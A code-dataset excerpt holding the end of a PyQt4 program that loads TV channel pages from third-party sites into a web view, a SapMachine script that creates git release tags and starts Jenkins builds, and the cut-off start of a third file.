QtGui.QPushButton(self.tab_5)\n self.pushButton_47.setGeometry(QtCore.QRect(90, 260, 121, 41))\n self.pushButton_47.setObjectName(_fromUtf8(\"pushButton_47\"))\n self.tabWidget.addTab(self.tab_5, _fromUtf8(\"\"))\n self.about = QtGui.QPushButton(self.centralWidget)\n self.about.setGeometry(QtCore.QRect(519, 370, 61, 31))\n self.about.setObjectName(_fromUtf8(\"about\"))\n TVNoLinux.setCentralWidget(self.centralWidget)\n self.statusBar = QtGui.QStatusBar(TVNoLinux)\n self.statusBar.setObjectName(_fromUtf8(\"statusBar\"))\n TVNoLinux.setStatusBar(self.statusBar)\n\n self.retranslateUi(TVNoLinux)\n self.tabWidget.setCurrentIndex(0)\n QtCore.QObject.connect(self.about, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.aboutd)\n QtCore.QObject.connect(self.pushButton_21, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.webView.reload)\n QtCore.QObject.connect(self.pushButton_15, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_15)\n QtCore.QObject.connect(self.pushButton, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond)\n QtCore.QObject.connect(self.pushButton_2, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_2)\n QtCore.QObject.connect(self.pushButton_5, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_5)\n QtCore.QObject.connect(self.pushButton_6, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_6)\n QtCore.QObject.connect(self.pushButton_10, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_10)\n QtCore.QObject.connect(self.pushButton_12, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_12)\n QtCore.QObject.connect(self.pushButton_8, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_8)\n QtCore.QObject.connect(self.pushButton_9, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_9)\n QtCore.QObject.connect(self.pushButton_7, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_7)\n QtCore.QObject.connect(self.pushButton_3, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_3)\n QtCore.QObject.connect(self.pushButton_11, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_11)\n QtCore.QObject.connect(self.pushButton_4, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_4)\n QtCore.QObject.connect(self.pushButton_13, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_13)\n QtCore.QObject.connect(self.pushButton_14, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_14)\n QtCore.QObject.connect(self.pushButton_16, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_16)\n QtCore.QObject.connect(self.pushButton_17, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_17)\n QtCore.QObject.connect(self.pushButton_19, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_19)\n QtCore.QObject.connect(self.pushButton_18, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_18)\n QtCore.QObject.connect(self.pushButton_24, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_24)\n QtCore.QObject.connect(self.pushButton_30, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_30)\n QtCore.QObject.connect(self.pushButton_26, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_26)\n QtCore.QObject.connect(self.pushButton_32, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_32)\n QtCore.QObject.connect(self.pushButton_29, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_29)\n QtCore.QObject.connect(self.pushButton_31, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_31)\n QtCore.QObject.connect(self.pushButton_27, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_27)\n QtCore.QObject.connect(self.pushButton_22, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_22)\n QtCore.QObject.connect(self.pushButton_20, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_20)\n QtCore.QObject.connect(self.pushButton_28, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_28)\n QtCore.QObject.connect(self.pushButton_25, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_25)\n QtCore.QObject.connect(self.pushButton_23, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_23)\n QtCore.QObject.connect(self.pushButton_33, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_33)\n QtCore.QObject.connect(self.pushButton_34, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_34)\n QtCore.QObject.connect(self.pushButton_45, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_45)\n QtCore.QObject.connect(self.pushButton_44, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_44)\n QtCore.QObject.connect(self.pushButton_43, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_43)\n QtCore.QObject.connect(self.pushButton_42, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_42)\n QtCore.QObject.connect(self.pushButton_41, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_41)\n QtCore.QObject.connect(self.pushButton_40, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_40)\n QtCore.QObject.connect(self.pushButton_38, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_38)\n QtCore.QObject.connect(self.pushButton_39, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_39)\n QtCore.QObject.connect(self.pushButton_37, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_37)\n QtCore.QObject.connect(self.pushButton_36, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_36)\n QtCore.QObject.connect(self.pushButton_35, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_35)\n QtCore.QObject.connect(self.pushButton_46, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_46)\n QtCore.QObject.connect(self.pushButton_47, QtCore.SIGNAL(_fromUtf8(\"clicked()\")), self.pushButtond_47)\n QtCore.QMetaObject.connectSlotsByName(TVNoLinux)\n\n def aboutd(self):\n self.msgBox = QtGui.QMessageBox()\n self.msgBox.setWindowTitle(\"Sobre\")\n self.msgBox.setText(_fromUtf8(\"

\" + titleProgram + \" v\" + versionProgram + \"

Desenvolvido por \" + authorProgram + \". Licenciado sob \" + licenseProgram + \".

Verificar atualizações\"))\n self.msgBox.exec_()\n\n def pushButtond_15(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/bigbang\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Big Bang Theory\", None))\n\n def pushButtond(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/out/sbt.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - SBT\", None))\n\n def pushButtond_2(self):\n self.webView.load(QtCore.QUrl(\"http://www.tvnanet.biz/boss/ch18-record.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Record\", None))\n\n def pushButtond_5(self):\n self.webView.load(QtCore.QUrl(\"http://tv-aovivo.nl/hbovip.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - HBO\", None))\n\n def pushButtond_6(self):\n self.webView.load(QtCore.QUrl(\"http://tv-msn.com/maxhd.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Max HD\", None))\n\n def pushButtond_10(self):\n self.webView.load(QtCore.QUrl(\"http://www.supertela.org/vto/?canal=pokemon\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Pokémon\", None))\n\n def pushButtond_12(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/ei2\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Esporte Interativo\", None))\n\n def pushButtond_8(self):\n self.webView.load(QtCore.QUrl(\"http://static.vto.tv/canais/filmes.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Filmes HD\", None))\n\n def pushButtond_9(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/chaves\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Chaves\", None))\n\n def pushButtond_7(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/csi\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - CSI\", None))\n\n def pushButtond_3(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/tnt\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - TNT\", None))\n\n def pushButtond_11(self):\n self.webView.load(QtCore.QUrl(\"http://tv-msn.com/fox.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - FOX\", None))\n\n def pushButtond_4(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/icarly\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - iCarly\", None))\n\n def pushButtond_13(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/out/desenhos.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Desenhos\", None))\n\n def pushButtond_14(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/out/cartoon.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Cartoon Network\", None))\n\n def pushButtond_16(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/nick\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Nick\", None))\n\n def pushButtond_17(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/disney\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Disney\", None))\n\n def pushButtond_19(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/animax\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Disney Jr.\", None))\n\n def pushButtond_18(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/disneyxd\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Disney XD\", None))\n\n def pushButtond_24(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/supertela/yugioh\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Yu-Gi-Oh\", None))\n\n def pushButtond_30(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/drakejosh\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Drake e Josh\", None))\n\n def pushButtond_26(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/glee\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Glee\", None))\n\n def pushButtond_32(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/two\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Dois Homens e Meio\", None))\n\n def pushButtond_29(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/space\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Space\", None))\n\n def pushButtond_31(self):\n self.webView.load(QtCore.QUrl(\"http://static.vto.tv/canais/warner.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Warner\", None))\n\n def pushButtond_27(self):\n self.webView.load(QtCore.QUrl(\"http://tvnolinux.comli.com/HBO2.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - HBO 2\", None))\n \n def pushButtond_22(self):\n self.webView.load(QtCore.QUrl(\"http://www.tvnanet.biz/boss/ch27-tcm.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - TCM\", None))\n\n def pushButtond_20(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/out/cinesky.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Cine Sky\", None))\n\n def pushButtond_28(self):\n self.webView.load(QtCore.QUrl(\"http://static.vto.tv/parceiros/fx.html\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - FX\", None))\n\n def pushButtond_25(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/syfy\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Syfy\", None))\n\n def pushButtond_23(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/supernatural\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Sobrenatural\", None))\n\n def pushButtond_33(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/universal\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Universal\", None))\n\n def pushButtond_34(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/hboplus\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - HBO Plus\", None))\n\n def pushButtond_45(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/hbofamily\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - HBO Family\", None))\n\n def pushButtond_44(self):\n self.webView.load(QtCore.QUrl(\"http://www.tvnanet.biz/boss/ch47-mgm.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - MGM\", None))\n\n def pushButtond_43(self):\n self.webView.load(QtCore.QUrl(\"http://static.vto.tv/canais/friends.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Friends\", None))\n\n def pushButtond_42(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/sonyspin\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Sony Spin\", None))\n\n def pushButtond_41(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/anx\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - AXN\", None))\n\n def pushButtond_40(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/prisonbreak\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Prison Break\", None))\n\n def pushButtond_38(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/megapixfree\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Mega Pix\", None))\n\n def pushButtond_39(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/sony\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Sony\", None))\n\n def pushButtond_37(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/comedy\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Comedy Central\", None))\n\n def pushButtond_36(self):\n self.webView.load(QtCore.QUrl(\"http://www.vertvonline.biz/canal/series/maluconopedaco\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Um Maluco no Pedaço\", None))\n\n def pushButtond_35(self):\n self.webView.load(QtCore.QUrl(\"http://www.tvnanet.biz/boss/ch02-espn.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - ESPN\", None))\n\n def pushButtond_46(self):\n self.webView.load(QtCore.QUrl(\"http://www.vtotvonline.tv/players/out.php?url=http://tv-msn.com/nickjr.htm&nome=NICKJR\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Nick Jr.\", None))\n\n def pushButtond_47(self):\n self.webView.load(QtCore.QUrl(\"http://www.tvnanet.biz/boss/ch38-kids.htm\"))\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram + \" - Discovery Kids\", None))\n\n def retranslateUi(self, TVNoLinux):\n TVNoLinux.setWindowTitle(_translate(\"TVNoLinux\", titleProgram, None))\n self.pushButton_21.setText(_translate(\"TVNoLinux\", \"Atualizar Player\", None))\n self.pushButton_4.setText(_translate(\"TVNoLinux\", \"iCarly\", None))\n self.pushButton_5.setText(_translate(\"TVNoLinux\", \"HBO\", None))\n self.pushButton_17.setText(_translate(\"TVNoLinux\", \"Disney\", None))\n self.pushButton_3.setText(_translate(\"TVNoLinux\", \"TNT\", None))\n self.pushButton_11.setText(_translate(\"TVNoLinux\", \"FOX\", None))\n self.pushButton_19.setText(_translate(\"TVNoLinux\", \"Disney Jr.\", None))\n self.pushButton_6.setText(_translate(\"TVNoLinux\", \"Max HD\", None))\n self.pushButton_8.setText(_translate(\"TVNoLinux\", \"Filmes HD\", None))\n self.pushButton_14.setText(_translate(\"TVNoLinux\", \"Cartoon Network\", None))\n self.pushButton.setText(_translate(\"TVNoLinux\", \"SBT\", None))\n self.pushButton_10.setText(_translate(\"TVNoLinux\", \"Pokémon\", None))\n self.pushButton_12.setText(_translate(\"TVNoLinux\", \"E+I\", None))\n self.pushButton_9.setText(_translate(\"TVNoLinux\", \"Chaves\", None))\n self.pushButton_2.setText(_translate(\"TVNoLinux\", \"Record\", None))\n self.pushButton_13.setText(_translate(\"TVNoLinux\", \"Desenhos\", None))\n self.pushButton_7.setText(_translate(\"TVNoLinux\", \"CSI\", None))\n self.pushButton_16.setText(_translate(\"TVNoLinux\", \"Nick\", None))\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_3), _translate(\"TVNoLinux\", \"Pág. 1\", None))\n self.pushButton_15.setText(_translate(\"TVNoLinux\", \"Big Bang Theory\", None))\n self.pushButton_18.setText(_translate(\"TVNoLinux\", \"Disney XD\", None))\n self.pushButton_20.setText(_translate(\"TVNoLinux\", \"Cine Sky\", None))\n self.pushButton_22.setText(_translate(\"TVNoLinux\", \"TCM\", None))\n self.pushButton_23.setText(_translate(\"TVNoLinux\", \"Sobrenatural\", None))\n self.pushButton_24.setText(_translate(\"TVNoLinux\", \"Yu-Gi-Oh!\", None))\n self.pushButton_25.setText(_translate(\"TVNoLinux\", \"Syfy\", None))\n self.pushButton_26.setText(_translate(\"TVNoLinux\", \"Glee\", None))\n self.pushButton_27.setText(_translate(\"TVNoLinux\", \"HBO 2\", None))\n self.pushButton_28.setText(_translate(\"TVNoLinux\", \"FX\", None))\n self.pushButton_29.setText(_translate(\"TVNoLinux\", \"Space\", None))\n self.pushButton_30.setText(_translate(\"TVNoLinux\", \"Drake e Josh\", None))\n self.pushButton_31.setText(_translate(\"TVNoLinux\", \"Warner\", None))\n self.pushButton_32.setText(_translate(\"TVNoLinux\", \"Dois Homens e Meio\", None))\n self.pushButton_33.setText(_translate(\"TVNoLinux\", \"Universal\", None))\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_4), _translate(\"TVNoLinux\", \"Pág. 2\", None))\n self.pushButton_34.setText(_translate(\"TVNoLinux\", \"HBO Plus\", None))\n self.pushButton_35.setText(_translate(\"TVNoLinux\", \"ESPN\", None))\n self.pushButton_36.setText(_translate(\"TVNoLinux\", \"Um Maluco no Pedaço\", None))\n self.pushButton_37.setText(_translate(\"TVNoLinux\", \"Comedy Central\", None))\n self.pushButton_38.setText(_translate(\"TVNoLinux\", \"Mega Pix\", None))\n self.pushButton_39.setText(_translate(\"TVNoLinux\", \"Sony\", None))\n self.pushButton_40.setText(_translate(\"TVNoLinux\", \"Prison Break\", None))\n self.pushButton_41.setText(_translate(\"TVNoLinux\", \"AXN\", None))\n self.pushButton_42.setText(_translate(\"TVNoLinux\", \"Sony Spin\", None))\n self.pushButton_43.setText(_translate(\"TVNoLinux\", \"Friends\", None))\n self.pushButton_44.setText(_translate(\"TVNoLinux\", \"MGM\", None))\n self.pushButton_45.setText(_translate(\"TVNoLinux\", \"HBO Family\", None))\n self.pushButton_46.setText(_translate(\"TVNoLinux\", \"Nick Jr.\", None))\n self.pushButton_47.setText(_translate(\"TVNoLinux\", \"Discovery Kids\", None))\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tab_5), _translate(\"TVNoLinux\", \"Pág. 3\", None))\n self.about.setText(_translate(\"TVNoLinux\", \"Sobre\", None))\n\nfrom PyQt4 import QtWebKit\n\nif __name__ == \"__main__\":\n import sys\n app = QtGui.QApplication(sys.argv)\n TVNoLinux = QtGui.QMainWindow()\n ui = Ui_TVNoLinux()\n ui.setupUi(TVNoLinux)\n TVNoLinux.show()\n sys.exit(app.exec_())\n","sub_path":"TVNoLinux.py","file_name":"TVNoLinux.py","file_ext":"py","file_size_in_byte":32421,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"74624281","text":"'''\nCopyright (c) 2001-2019 by SAP SE, Walldorf, Germany.\nAll rights reserved. Confidential and proprietary.\n'''\n\nimport os\nimport sys\nimport json\nimport re\nimport utils\nimport argparse\n\nfrom utils import JDKTag\nfrom os.path import join\n\nfrom jenkinsapi.jenkins import Jenkins\nfrom jenkinsapi.utils.crumb_requester import CrumbRequester\n\nbranch_pattern = re.compile('sapmachine([\\d]+)?$')\nmerge_commit_pattern = re.compile('Merge pull request #\\d+ from SAP/pr-jdk-')\n\ndef run_jenkins_jobs(major, tag):\n if 'JENKINS_CREDENTIALS' not in os.environ:\n return\n\n jenkins_url = 'https://ci.sapmachine.io'\n jenkins_user = os.environ['JENKINS_CREDENTIALS_USR']\n jenkins_password = os.environ['JENKINS_CREDENTIALS_PSW']\n\n server = Jenkins(jenkins_url, username=jenkins_user, password=jenkins_password,\n requester=CrumbRequester(\n baseurl=jenkins_url,\n username=jenkins_user,\n password=jenkins_password\n )\n )\n\n server.use_auth_cookie()\n\n build_jobs = [\n str.format('build-{0}-release-linux_x86_64', major),\n str.format('build-{0}-release-linux_ppc64le', major),\n str.format('build-{0}-release-linux_ppc64', major),\n str.format('build-{0}-release-macos_x86_64', major),\n str.format('build-{0}-release-windows_x86_64', major)\n ]\n\n job_params = {\n 'PUBLISH': 'true' ,\n 'RELEASE': 'false',\n 'RUN_TESTS': 'true',\n 'GIT_TAG_NAME': tag\n }\n\n for job in build_jobs:\n print(str.format('starting jenkins job \"{0}\" ...', job))\n server.build_job(job, job_params)\n\ndef create_sapmachine_tag(jdk_tag, commit_id, git_target_dir):\n print(str.format('creating tag \"{0}\"', jdk_tag.as_sapmachine_tag()))\n utils.run_cmd(str.format('git checkout {0}', commit_id).split(' '), cwd=git_target_dir)\n utils.run_cmd(str.format('git tag {0}', jdk_tag.as_sapmachine_tag()).split(' '), cwd=git_target_dir)\n utils.run_cmd(str.format('git push origin {0}', jdk_tag.as_sapmachine_tag()).split(' '), cwd=git_target_dir)\n\ndef get_latest_non_ga_tag(jdk_tag):\n latest_non_ga_tag = None\n\n if jdk_tag.is_ga():\n # fetch all tags\n tags = utils.github_api_request('tags', per_page=300)\n latest_non_ga_tag = None\n\n # iterate all tags\n for tag in tags:\n # filter for jdk tags\n match = JDKTag.jdk_tag_pattern.match(tag['name'])\n\n if match is not None:\n # found a jdk tag\n t = JDKTag(match)\n major = t.get_major()\n\n if major is jdk_tag.get_major() and not t.is_ga():\n if latest_non_ga_tag is None or t.is_greater_than(latest_non_ga_tag):\n latest_non_ga_tag = t\n\n return latest_non_ga_tag\n\n\ndef main(argv=None):\n parser = argparse.ArgumentParser()\n parser.add_argument('--workdir', help='the temporary working directory', metavar='DIR', default=\"tags_work\", required=False)\n args = parser.parse_args()\n\n workdir = os.path.realpath(args.workdir)\n utils.remove_if_exists(workdir)\n os.makedirs(workdir)\n\n pull_requests = utils.github_api_request('pulls', per_page=100, url_parameter=['state=all'])\n\n # clone the SapMachine repository\n git_target_dir = join(workdir, 'sapmachine')\n utils.git_clone('github.com/SAP/SapMachine.git', 'sapmachine', git_target_dir)\n\n # fetch all branches\n branches = utils.github_api_request('branches', per_page=100)\n sapmachine_latest = 0\n sapmachine_branches = []\n\n # iterate all branches of the SapMachine repository\n for branch in branches:\n # filter for sapmachine branches\n match = branch_pattern.match(branch['name'])\n\n if match is not None:\n # found sapmachine branch\n if match.group(1) is not None:\n major = int(match.group(1))\n sapmachine_branches.append([branch['name'], major])\n sapmachine_latest = max(major, sapmachine_latest)\n else:\n sapmachine_branches.append([branch['name'], 0])\n\n sapmachine_latest += 1\n\n for branch in sapmachine_branches:\n if branch[1] == 0:\n branch[1] = sapmachine_latest\n\n major = branch[1]\n utils.run_cmd(str.format('git checkout {0}', branch[0]).split(' '), cwd=git_target_dir)\n\n # find the last merge commit and check wether it is a merge from the jdk branch\n _, commit_messages, _ = utils.run_cmd('git log --merges -n 50 --format=%s'.split(' '), cwd=git_target_dir, std=True, throw=False)\n _, commit_ids, _ = utils.run_cmd('git log --merges -n 50 --format=%H'.split(' '), cwd=git_target_dir, std=True, throw=False)\n\n if commit_messages and commit_ids:\n commit_messages = [commit_message for commit_message in commit_messages.split(os.linesep) if commit_message]\n commit_ids = [commit_id for commit_id in commit_ids.split(os.linesep) if commit_id]\n\n merge_commits = map(lambda x,y:[x,y],commit_messages,commit_ids)\n\n for merge_commit in merge_commits:\n commit_message = merge_commit[0]\n commit_id = merge_commit[1]\n match_merge_commit = re.search(merge_commit_pattern, commit_message)\n match_jdk_tag = re.search(JDKTag.jdk_tag_pattern, commit_message)\n\n if match_merge_commit is not None and match_jdk_tag is not None:\n jdk_tag = JDKTag(match_jdk_tag)\n print(str.format('found latest merge commit \"{0}\" for branch \"{1}\"', commit_message, branch))\n _, tags, _ = utils.run_cmd(str.format('git tag --contains {0}', commit_id).split(' '), cwd=git_target_dir, std=True, throw=False)\n\n if not tags:\n # not tagged yet\n # create sapmachine tag\n create_sapmachine_tag(jdk_tag, commit_id, git_target_dir)\n\n # when the tag is a GA tag, we build the last tag before the GA tag\n if jdk_tag.is_ga():\n latest_non_ga_tag = get_latest_non_ga_tag(jdk_tag)\n _, tag_exists, _ = utils.run_cmd(str.format('git tag -l {0}', latest_non_ga_tag.as_sapmachine_tag()).split(' '), cwd=git_target_dir, std=True, throw=False)\n\n if not tag_exists and latest_non_ga_tag is not None:\n create_sapmachine_tag(latest_non_ga_tag, commit_id, git_target_dir)\n run_jenkins_jobs(major, latest_non_ga_tag.as_sapmachine_tag())\n else:\n run_jenkins_jobs(major, jdk_tag.as_sapmachine_tag())\n\n\n elif not jdk_tag.is_ga():\n tags = tags.splitlines()\n # check wether there is a JDK GA tag which has no corresponding sapmachine tag yet\n # get the commit to which the most recent (before GA) tag is pointing to\n _, jdk_tag_commit, _ = utils.run_cmd(str.format('git rev-list -n 1 {0}', jdk_tag.as_string()).split(' '), cwd=git_target_dir, std=True, throw=False)\n\n if jdk_tag_commit:\n jdk_tag_commit = jdk_tag_commit.rstrip()\n # get all tags associated with the commit\n _, tags_for_commit, _ = utils.run_cmd(str.format('git tag --contains {0}', jdk_tag_commit).split(' '), cwd=git_target_dir, std=True, throw=False)\n\n if tags_for_commit:\n tags_for_commit = tags_for_commit.splitlines()\n\n # search for a GA tag\n for tag in tags_for_commit:\n match = re.search(JDKTag.jdk_tag_pattern, tag)\n\n if match:\n as_jdk_tag = JDKTag(match)\n\n if as_jdk_tag.is_ga() and as_jdk_tag.as_sapmachine_tag() not in tags:\n # GA tag found\n # check whether there is already a pull request for this tag\n pull_request_title = str.format('Merge to tag {0}', as_jdk_tag.as_string())\n pull_request_exits = False\n\n for pull_request in pull_requests:\n if pull_request['title'] == pull_request_title:\n # there is already a pull request for this tag\n # don't create sapmachine tag\n pull_request_exits = True\n break\n\n if not pull_request_exits:\n # create sapmachine tag\n create_sapmachine_tag(as_jdk_tag, commit_id, git_target_dir)\n # we build the last tag before the GA tag\n latest_non_ga_tag = get_latest_non_ga_tag(as_jdk_tag)\n _, tag_exists, _ = utils.run_cmd(str.format('git tag -l {0}', latest_non_ga_tag.as_sapmachine_tag()).split(' '), cwd=git_target_dir, std=True, throw=False)\n\n if not tag_exists and latest_non_ga_tag is not None:\n create_sapmachine_tag(latest_non_ga_tag, commit_id, git_target_dir)\n run_jenkins_jobs(major, latest_non_ga_tag.as_sapmachine_tag())\n\n break\n\n else:\n print('already tagged ...')\n\n break\n\n utils.remove_if_exists(workdir)\n return 0\n\nif __name__ == \"__main__\":\n sys.exit(main())","sub_path":"lib/create_sapmachine_tags.py","file_name":"create_sapmachine_tags.py","file_ext":"py","file_size_in_byte":9970,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"601937850","text":"import requests\nfrom bs4 import BeautifulSoup as bs\nfrom os import path\nimport 